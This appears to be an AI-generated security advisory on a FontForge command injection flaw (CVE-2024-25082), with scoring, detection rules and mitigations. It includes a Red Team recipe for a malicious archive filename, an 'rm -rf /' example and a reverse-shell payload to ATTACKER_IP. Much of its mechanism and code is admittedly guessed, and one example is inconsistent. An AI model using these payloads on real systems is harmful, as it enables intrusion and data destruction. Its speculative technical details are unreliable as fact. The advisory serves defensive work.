CVE-2024-25082

Executive Summary

CVE-2024-25082 identifies a critical command injection vulnerability in FontForge, a popular font editor. The flaw resides in the Splinefont component, which is used to process font archives and compressed files. An attacker can craft a malicious archive or compressed file that, when processed by FontForge, executes arbitrary commands on the host system. This vulnerability affects FontForge through version 20230101. No official patch has been released at this time, and no public proof-of-concept (PoC) code is available. The vulnerability is classified under CWE-77 (Improper Neutralization of Special Elements used in a Command). The MITRE ATT&CK tactic is T1203 (Exploitation for Client Execution), as the attack vector likely involves a user opening a malicious file.

Supply Chain & Package Security

FontForge is a widely used open-source tool, often included in Linux distributions and used in CI/CD pipelines for font processing. This vulnerability poses a supply chain risk if FontForge is used to process untrusted font files. An attacker could compromise a font repository or a build pipeline by injecting a malicious font archive, leading to command execution on build servers or developer workstations.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the vulnerability type (command injection) and the lack of authentication required (user must open a file), a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Local (L) – requires user to open a file.
• Attack Complexity (AC): Low (L) – no special conditions.
• Privileges Required (PR): None (N) – no privileges needed.
• User Interaction (UI): Required (R) – user must open the file.
• Scope (S): Unchanged (U) – vulnerability does not cross trust boundaries.
• Confidentiality (C): High (H) – arbitrary commands can read files.
• Integrity (I): High (H) – commands can modify files.
• Availability (A): High (H) – commands can disrupt service.

CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H Base Score: 7.8 (High)

Threat Level: High. Exploitation requires user interaction, but the impact is severe, allowing full system compromise.

Deep Dive & Mechanics

The vulnerability exists in the Splinefont component of FontForge. Splinefont is a format used to store font outlines and metadata. When FontForge processes a Splinefont file (often embedded in archives like .tar.gz, .zip, or .bz2), it may pass user-controlled data to a shell command without proper sanitization.

The root cause is likely in the code that handles file decompression or archive extraction. FontForge may use external tools (e.g., gunzip, bunzip2, unzip) via system calls. If the filename or metadata within the archive contains shell metacharacters (e.g., ;, |, `), an attacker can inject arbitrary commands.

For example, a crafted archive might contain a file named ; rm -rf / ; .ttf. When FontForge attempts to decompress this file, it might execute a command like:

gunzip -c "; rm -rf / ; .ttf"

This would result in the execution of rm -rf /.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize about the vulnerable code pattern. The vulnerable code likely resembles:

// Vulnerable pattern
char command[256];
snprintf(command, sizeof(command), "gunzip -c %s", filename);
system(command);

A patched version would use safe APIs to avoid shell interpretation:

// Patched pattern (using execve with arguments)
char *args[] = {"gunzip", "-c", filename, NULL};
execve("/bin/gunzip", args, NULL);

Or use a library like libarchive to handle archives without shell commands.

Exploitation & Lab Setup

Red Team

Objective: Achieve command execution on a target system running FontForge (version <= 20230101).

Prerequisites:

• FontForge installed on the target.
• Ability to deliver a malicious archive to the target (e.g., via email, download, or USB).

Steps:

1. Create a Malicious Archive: Create a tar.gz file containing a file with a malicious name. For example, on Linux:

   mkdir exploit
   cd exploit
   touch '; echo "pwned" > /tmp/pwned ; .ttf'
   tar czf ../malicious.tar.gz *
   cd ..
   

2. Deliver the Archive: Send malicious.tar.gz to the target.

3. Trigger the Vulnerability: The target opens the archive in FontForge (e.g., fontforge malicious.tar.gz). The command injection executes.

Expected Result: The file /tmp/pwned is created with the content "pwned".

Advanced Payload: For a reverse shell:

touch '; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 ; .ttf'

Blue Team

Detection:

• Monitor for FontForge processes executing unexpected commands (e.g., sh, bash, curl, wget).
• Use file integrity monitoring to detect creation of suspicious files in /tmp or other directories.
• Enable logging of all execve syscalls from FontForge.

Prevention:

• Restrict FontForge execution to trusted users only.
• Use AppArmor or SELinux to confine FontForge.
• Disable automatic processing of font archives in CI/CD pipelines.

Hunting:

• Search for FontForge processes that have spawned child processes (e.g., sh, bash).
• Look for archives with unusual filenames containing shell metacharacters.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available, but any archive with shell metacharacters in filenames is suspicious)
• Process Names: fontforge, sh, bash, gunzip, bunzip2, unzip
• Network Connections: Outbound connections from FontForge to unknown IPs (if reverse shell used)
• File Paths: /tmp/pwned, /tmp/revshell, or any file created by injected commands
• Registry Keys (Windows): N/A (Linux-focused)
• YARA Rule: See Detection Engineering.

Detection Engineering

YARA Rule

rule CVE_2024_25082_FontForge_CommandInjection {
    meta:
        description = "Detects archives with suspicious filenames indicative of CVE-2024-25082"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-25082"
    strings:
        $suspicious1 = /;.*\.(ttf|otf|woff)/
        $suspicious2 = /`.*\.(ttf|otf|woff)/
        $suspicious3 = /\|.*\.(ttf|otf|woff)/
        $suspicious4 = /\$\(.*\)/
    condition:
        any of ($suspicious*)
}

Sigma Rule

title: FontForge Command Injection via Malicious Archive
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects FontForge spawning a shell or executing commands
author: Valters IT
date: 2024-01-01
references:
    - CVE-2024-25082
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        ParentImage|endswith: '/fontforge'
        Image|endswith:
            - '/sh'
            - '/bash'
            - '/dash'
            - '/zsh'
    condition: selection
falsepositives:
    - Legitimate use of shell by FontForge (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-25082 FontForge Outbound Connection"; flow:to_server; content:"|2f 62 69 6e 2f 73 68|"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Do not open untrusted font archives with FontForge until a patch is released.
2. Use alternative font tools (e.g., fonttools, otfcc) for processing untrusted files.
3. Apply strict file permissions to FontForge binary to prevent unauthorized execution.

Long-term Fix:

• The FontForge project should patch the Splinefont component to use safe APIs (e.g., execve with arguments) instead of system() or popen().
• Implement input validation to reject filenames containing shell metacharacters.

Workaround:

• Use a sandboxed environment (e.g., Docker, Firejail) when running FontForge on untrusted files.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.